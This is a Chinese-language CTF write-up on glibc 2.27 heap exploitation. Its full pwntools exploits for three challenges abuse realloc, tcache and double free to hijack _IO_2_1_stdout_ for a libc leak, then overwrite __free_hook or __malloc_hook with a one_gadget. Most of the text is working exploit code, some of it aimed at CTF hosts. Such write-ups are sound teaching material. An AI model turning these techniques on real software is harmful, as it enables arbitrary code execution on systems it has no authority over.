有些情况下,仅有malloc/calloc/realloc和free两种功能,并且可以实现任意地址分配,如果想要达到利用,还需要知道地址,在glibc下,一般就是攻击_IO_2_1_stdout_结构体来实现信息泄露,通过低字节覆盖unsorted bin留下的main_arena指针,再加以爆破4位,就能分配到_IO_2_1_stdout_,通过篡改_IO_2_1_stdout_的flags为0x0FBAD1887,_IO_write_base低字节覆盖,然后当程序调用puts输出任意信息时,就会输出_IO_write_base到_IO_write_ptr之间的数据,而这之间就有libc的指针。
下面以三个例子为例。
roarctf_2019_realloc_magic 题目给我们的glibc版本为2.27
首先,检查一下程序的保护机制
然后用IDA分析一下,很明显存在UAF漏洞
功能很少,没有show功能,没有edit功能。
注意到,程序使用了realloc来分配,如果realloc_ptr不为空的话,会在realloc_ptr的基础上来分配,因此很难达到任意地址分配。
这时,就需要利用**[realloc的一个特性]{.mark}**,阅读realloc的源码,我们发现了如下
如果realloc的size为0,并且传入的ptr指针不为空 ,那么会free掉ptr指向的堆,并**[返回0值。]{.mark}**
利用这个返回0值,我们就可以将ptr设置为0,只要ptr为0,就和malloc一样的使用。
首先,我们需要构造出unsorted bin与tcache bin重合的布局,并且为了控制tcache bin chunk的next指针,我们在最前面申请一个chunk0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 realloc(0x40 ,'a' *0x40 ) realloc(0 ,'' ) realloc(0x100 ,'a' *0x100 ) realloc(0xC0 ,'b' *0xC0 ) for i in range (7 ): delete() realloc(0 ,'' )
堆布局成了这样
也就是这样的布局
现在,我们想控制tcache bin的next指针,我们可以先把chunk0申请回来,再利用realloc扩充到下面的tcache chunk里进行修改。
1 2 3 4 5 6 realloc(0x40 ,'c' *0x40 ) realloc(0x100 ,'c' *0x40 + p64(0 ) + p64(0x41 ) + p16((0x5 << 0xC ) + (_IO_2_1_stdout_s & 0xFFF )))
需要注意的是我们**[还篡改了下一个chunk的size为0x41,原本为0xD1。]{.mark}**这是因为当我们把这个0xD0的tcache 申请回来后,我们想要继续申请next指针指向的地方,但是由于使用的是realloc,我们必须保证ptr为0,因此需要realloc(ptr,0)吗,这会使得ptr被free一次,如果size仍然为0xD0,又会重新回到0xD0的tcache bin里,使得我们取不出next指向的地方。
接下来,就是分配到目的地,改写数据,达到泄露信息了。
1 2 3 4 5 6 7 8 realloc(0 ,'' ) realloc(0xC0 ,'c' *0xC0 ) realloc(0 ,'' ) realloc(0xC0 ,p64(0x0FBAD1887 ) +p64(0 )*3 + p8(0x58 ))
结尾这个puts会将数据输出,由于flags被我们改为0x0FBAD1887,因此’x00’不会截断puts的输出。
接下来,同样是利用realloc来将下一个chunk包含进来,篡改next指针为free_hook,改写free_hook即可。
完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_' ] free_hook_s = libc.symbols['__free_hook' ] one_gadget_s = 0x4f322 def realloc (size,content ): sh.sendlineafter('>>' ,'1' ) sh.sendlineafter('Size?' ,str (size)) sh.sendafter('Content?' ,content) def delete (): sh.sendlineafter('>>' ,'2' ) def zero_ptr (): sh.sendlineafter('>>' ,'666' ) def exploit (): realloc(0x40 ,'a' *0x40 ) realloc(0 ,'' ) realloc(0x100 ,'a' *0x100 ) realloc(0xC0 ,'b' *0xC0 ) for i in range (7 ): delete() realloc(0 ,'' ) realloc(0x40 ,'c' *0x40 ) realloc(0x100 ,'c' *0x40 + p64(0 ) + p64(0x41 ) + p16((0x5 << 0xC ) + (_IO_2_1_stdout_s & 0xFFF ))) realloc(0 ,'' ) realloc(0xC0 ,'c' *0xC0 ) realloc(0 ,'' ) realloc(0xC0 ,p64(0x0FBAD1887 ) +p64(0 )*3 + p8(0x58 )) sh.recvuntil('\n' ) libc_base = u64(sh.recv(6 ).ljust(8 ,'\x00' )) - 0x3E82A0 if libc_base >> 40 != 0x7F : raise Exception('error leak!' ) free_hook_addr = libc_base + free_hook_s one_gadget_addr = libc_base + one_gadget_s print 'libc_base=' ,hex (libc_base) print 'free_hook_addr=' ,hex (free_hook_addr) print 'one_gadget_addr=' ,hex (one_gadget_addr) zero_ptr() realloc(0x110 ,'c' *0x40 + p64(0 ) + p64(0x51 ) + p64(free_hook_addr)) realloc(0 ,'' ) realloc(0x30 ,'c' ) realloc(0 ,'' ) realloc(0x30 ,p64(one_gadget_addr)) delete() while True : try : global sh sh = process('./roarctf_2019_realloc_magic' ) exploit() sh.interactive() except : sh.close() print 'retrying...'
TWCTF_online_2019_asterisk_alloc 与roarctf_2019_realloc_magic是基本一样的操作,程序里的calloc功能没有用到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_' ] free_hook_s = libc.symbols['__free_hook' ] one_gadget_s = 0x4f322 def malloc (size,content ): sh.sendlineafter('Your choice:' ,'1' ) sh.sendlineafter('Size:' ,str (size)) sh.sendafter('Data:' ,content) def calloc (size,content ): sh.sendlineafter('Your choice:' ,'2' ) sh.sendlineafter('Size:' ,str (size)) sh.sendafter('Data:' ,content) def realloc (size,content ): sh.sendlineafter('Your choice:' ,'3' ) sh.sendlineafter('Size:' ,str (size)) sh.sendafter('Data:' ,content) def free (which ): sh.sendlineafter('Your choice:' ,'4' ) sh.sendlineafter('Which:' ,which) def exploit (): realloc(0x40 ,'a' *0x40 ) realloc(0 ,'' ) realloc(0x100 ,'b' *0x100 ) realloc(0xC0 ,'b' *0xC0 ) for i in range (7 ): free('r' ) realloc(0 ,'' ) realloc(0x40 ,'a' *0x40 ) realloc(0x100 ,'a' *0x40 + p64(0 ) + p64(0x41 ) + p16((0x5 << 0xC ) + (_IO_2_1_stdout_s & 0xFFF ))) realloc(0 ,'' ) realloc(0xC0 ,'c' *0xC0 ) realloc(0 ,'' ) malloc(0xC0 ,p64(0x0FBAD1887 ) +p64(0 )*3 + p8(0x58 )) sh.recv(1 ) libc_base = u64(sh.recv(6 ).ljust(8 ,'\x00' )) - 0x3E82A0 if libc_base >> 40 != 0x7F : raise Exception('error leak!' ) free_hook_addr = libc_base + free_hook_s one_gadget_addr = libc_base + one_gadget_s print 'libc_base=' ,hex (libc_base) print 'free_hook_addr=' ,hex (free_hook_addr) print 'one_gadget_addr=' ,hex (one_gadget_addr) realloc(0x110 ,'d' *0x40 + p64(0 ) + p64(0x51 ) + p64(free_hook_addr)) realloc(0 ,'' ) realloc(0x30 ,'e' *0x30 ) realloc(0 ,'' ) realloc(0x30 ,p64(one_gadget_addr)) free('r' ) while True : try : global sh sh = remote('node3.buuoj.cn' ,27319 ) exploit() sh.interactive() except : sh.close() print 'retrying...'
sctf_2019_one_heap glibc版本为2.27。
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,仅两个功能,add使用的是malloc分配
Delete功能里没有清空指针,可以造成double free,delete功能最多只能用4次。
首先还是构造unsorted bin与tcache bin重合的布局,由于delete次数只能用4次,我们先double free,然后多次add,使得tcache bin对应的count计数变为负数。由于count为无符号数,因此count>7将成立。从而,我们接下来free的时候就能得到unsorted bin。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 add(0x7F ,'a' *0x7F ) delete() delete() add(0x10 ,'b' *0x10 ) delete() add(0x20 ,'c' *0x20 ) add(0x7F ,'\n' ) add(0x7F ,'\n' ) add(0x7F ,'\n' ) delete()
然后就是修改next指针,申请到_IO_2_1_stdout进行劫持来泄露数据了。接下来,delete功能已经用完了。我们还得想办法控制chunk1的next域。此时,用到了**[unsorted bin expand的方法,即将unsorted bin的size篡改大]{.mark}**,将chunk1给包含进来,然后通过分配,使得分配的chunk与free状态的chunk1重合,这样,我们就能控制chunk1的next指针,指向malloc_hook,然后改写即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_' ] malloc_hook_s = libc.symbols['__malloc_hook' ] realloc_s = libc.sym['realloc' ] one_gadget_s = 0x10a38c def add (size,content ): sh.sendlineafter('Your choice:' ,'1' ) sh.sendlineafter('Input the size:' ,str (size)) sh.sendafter('Input the content:' ,content) def delete (): sh.sendlineafter('Your choice:' ,'2' ) def exploit (): add(0x7F ,'a' *0x7F ) delete() delete() add(0x10 ,'b' *0x10 ) delete() add(0x20 ,'c' *0x20 ) add(0x7F ,'\n' ) add(0x7F ,'\n' ) add(0x7F ,'\n' ) delete() add(0x20 ,p16((0x5 << 0xC ) + (_IO_2_1_stdout_s & 0xFFF )) + '\n' ) add(0x7F ,'a' *0x20 + p64(0 ) + p64(0x81 ) + '\n' ) add(0x7F ,p64(0x0FBAD1887 ) +p64(0 )*3 + p8(0x58 ) + '\n' ) libc_base = u64(sh.recv(6 ).ljust(8 ,'\x00' )) - 0x3E82A0 if libc_base >> 40 != 0x7F : raise Exception('error leak!' ) malloc_hook_addr = libc_base + malloc_hook_s one_gadget_addr = libc_base + one_gadget_s realloc_addr = libc_base + realloc_s print 'libc_base=' ,hex (libc_base) print 'malloc_hook_addr=' ,hex (malloc_hook_addr) print 'one_gadget_addr=' ,hex (one_gadget_addr) add(0x70 ,'a' *0x60 + p64(malloc_hook_addr - 0x8 ) + '\n' ) add(0x10 ,'b' *0x10 ) add(0x10 ,p64(one_gadget_addr) + p64(realloc_addr+4 )) add(0 ,'' ) while True : try : global sh sh = remote('node3.buuoj.cn' ,28553 ) exploit() sh.interactive() except : sh.close() print 'retrying...'